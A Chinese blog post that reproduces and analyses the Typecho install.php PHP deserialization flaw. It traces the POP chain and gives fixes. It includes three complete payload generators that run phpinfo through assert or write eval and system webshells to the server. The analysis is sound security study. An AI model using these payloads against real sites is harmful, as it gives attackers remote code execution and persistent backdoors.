Typecho反序列化漏洞重现及分析 | LSABLOG

首页 » NetworkSec » Penetration » 正文

Typecho反序列化漏洞重现及分析

0x00 前言

一个月前,typecho博客系统爆出了反序列化前台getshell的重大bug,当时太忙没时间分析,最近熟悉了下php的反序列化漏洞,乘势重温下当时火热的typecho反序列化漏洞,如果对php反序列化漏洞不甚了解,可以参考php反序列化漏洞总结

 

0x01 漏洞重现

环境:win7+phpstudy(php5.4.45+apache2)+Typecho141010

0号payload0(来自www.freebuf.com/vuls/152058.html):执行phpinfo

<?phpclass Typecho_Feed{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}
class Typecho_Request{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));

效果:

 

1号payload1:写入一句话:

<?php

class Typecho_Feed{
   
    private $_items = array();
    
    const RSS2 = 'RSS 2.0';
    private $_version;
    private $_type;
    private $_charset;
    private $_lang;
    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
    {
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    private $_params = array();
    private $_filter = array('assert');
    
     public function __construct(){
        $this->_params['screenName'] = 'file_put_contents(\'testpayload1.php\', \'<?php @eval($_POST[typecho]);?>\')';
        $this->_filter[0] = 'assert';
    }
}

$payload1 = new Typecho_Feed(1);
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));

效果:

返回500,但是已经成功写入文件。

2号payload2:执行命令:
细心一点就会发现Requset.php:359

<name>’ . $item[‘author’]->screenName . ‘</name>

<uri>’ . $item[‘author’]->url . ‘</uri>

url也应该是可以利用的,但是本人尝试没成功,所以还是利用screenName构造payload2:

<?php

class Typecho_Feed{
   
    private $_items = array();
    
    const RSS2 = 'RSS 2.0';
    private $_version;
    private $_type;
    private $_charset;
    private $_lang;
    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
    {
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    
    
    private $_params = array();
    private $_filter = array();
    
    
     public function __construct(){
        $this->_params['screenName'] = 'file_put_contents(\'shell.php\', \'<?php @system($_GET[cmd]);?>\')';
        $this->_filter[0] = 'assert';
    }
}

$payload1 = new Typecho_Feed(1);
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho_');
echo base64_encode(serialize($exp));

效果:

 

0x02 修复方案

1. 删除install.php

2. 升级到最新版本

 

0x03 漏洞分析

Install.php 229

<?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

关键函数unserialize出现,还有base64_decode,后门的气息扑面而来,但本人觉得或许不是后门。大概的意思好像是从cookie读取config,进行base64解码再反序列化。

看看Typecho_Cookie的get方法

var/Typecho/Cookie.php 83

public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
}

如果$_COOKIE[$key]就赋值给value,否则就拿$_POST[$key]给value。这里表明将payload放cookie或者直接post都是可以的。

还有

$db = new Typecho_Db($config[‘adapter’], $config[‘prefix’]);

这里new了db对象。

Install.php 59

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

Finish = 1,referer同源即可

接下来就是重点了-搜寻可利用的pop链

来看看上面说的db对象,Typecho_Db类在Db.php:

var/typecho/Db.php 114

 public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
}

发现拼接$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;

由于对象和字符串拼接会自动调用魔术方法__toString,所以搜索__toString。

var/typecho/Feed.php 223

public function __toString()
    {
        $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

        if (self::RSS1 == $this->_type) {
            $result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;

            $content = '';
            $links = array();
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
                $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }
                $content .= '</item>' . self::EOL;

                $links[] = $item['link'];

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

            $result .= '<channel rdf:about="' . $this->_feedUrl . '">
<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<items>
<rdf:Seq>' . self::EOL;

            foreach ($links as $link) {
                $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
            }

            $result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;

            $result .= $content . '</rdf:RDF>';

        } else if (self::RSS2 == $this->_type) {
            $result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

关键是最后一行……

$content .= ‘<dc:creator>’ . htmlspecialchars($item[‘author’]->screenName) . ‘</dc:creator>’ . self::EOL;

__get方法会在调用私有属性或不可访问的属性的时候自动执行

如果screenName 是 $item[‘author’] 代表的类中的私有属性,那么就会调用 __get方法;或者给$item[‘author’]设置的类中没screenName属性,就执行该类的__get()魔术方法。

再搜索魔术方法__get

var/typecho/Request.php 269

 /**
     * 获取实际传递参数(magic)
     *
     * @access public
     * @param string $key 指定参数
     * @return mixed
     */
    public function __get($key)
    {
        return $this->get($key);
}

往下到295行看看get方法

 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

再往上到159行看看_applyFilter方法

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
}

关键函数call_user_func和array_map出现!可以代码执行。

注意 private $_filter = array();

_filter是私有属性数组,所以可以构造payload:

$this->_filter[0] = ‘assert’;

再看看value是啥东东,回到get方法:

isset($this->_params[$key]):

$value = $this->_params[$key];

可以看出value来自_params[$key],调用私有属性或不存在的属性会自动调用__get(),所以这里$key就是属性名。

private $_params = array();

_params是私有数组,所以可以构造payload

$this->_params[‘screenName’] = ‘phpinfo()’;

再根据$item[‘author’]->screenName构造payload:

‘author’ => new Typecho_Request(),

由于Typecho_Request类没screenName属性,所以$item[‘author’]->screenName就自动调用__get()。传入不存在的属性名screenName,进入get方法使value=’phpinfo()’,利用call_user_fun()执行代码。

 

回顾整个利用流程(pop链):

install.php:unserialize()—>

Db.php:$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;拼接调用__toString()—>

Feed.php:__toString():$item[‘author’]->screenName使其调用__get()—>

Request.php:__get():get():return $this->_applyFilter($value);:call_user_func($filter, $value);—>

执行代码!

 

0x03 回显问题

要注意的一点是网上不少高手都说因为install.php:54开了ob_start(),输出放到缓冲区,注入对象会触发exception:

(代码来源:https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q

又调用了ob_end_clean(),所以缓冲区的输出被丢弃了,简单说就是没输出。但奇怪的是本人测试并未出现此问题……也没找到触发的exception在哪……

还是给出解决没回显的方法:(方法来源:https://paper.seebug.org/424/

因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。

第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

 

第一种方法大概实现:

来到Request.php触发点:

foreach ($this->_filter as $filter) {

$value = is_array($value) ? array_map($filter, $value) :

call_user_func($filter, $value);

}

由于call_user_func在foreach循环,所以可以构造第二次循环跳出exit即可,可以找一个方法中有exit的类,就可以直接让程序退出并输出缓冲区中的内容。

如var/Typecho/Response的redirect方法:
public function redirect($location, $isPermanently = false)

{

/** Typecho_Common */

$location = Typecho_Common::safeUrl($location);

 

if ($isPermanently) {

header(‘Location: ‘ . $location, false, 301);

exit;

} else {

header(‘Location: ‘ . $location, false, 302);

exit;

}

}

Payload如下(来源:https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q)

 

第二种方法大概实现:

加上
‘category’ => array(new Typecho_Request()),

来到Feed.php 292

if (!empty($item[‘category’]) && is_array($item[‘category’])) {

foreach ($item[‘category’] as $category) {

$content .= ‘<category><![CDATA[‘ . $category[‘name’] . ‘]]></category>’ . self::EOL;

}

}

因为Typecho_Request不存在name属性,造成报错。

 

0x05 结语

这次的typecho反序列化漏洞危害很大,但也是很好的审计例子,关于这个反序列化是否是后门,可以参考开发者对此漏洞的说明:https://joyqi.com/typecho/about-typecho-20171027.html

 

0x06 参考资料

https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q

https://mp.weixin.qq.com/s/C9ojGt4TYZKX30lhTOT3VQ

www.freebuf.com/vuls/152058.html

p0sec.net/index.php/archives/114/

https://paper.seebug.org/424/

https://blog.donot.me/typechofan-xu-lie-hua-lou-dong-fen-xi/

www.blogsir.com.cn/safe/454.html

https://kylingit.com/blog/typecho-install.php-反序列化漏洞分析/

https://joyqi.com/typecho/about-typecho-20171027.html

 

 

 

Comment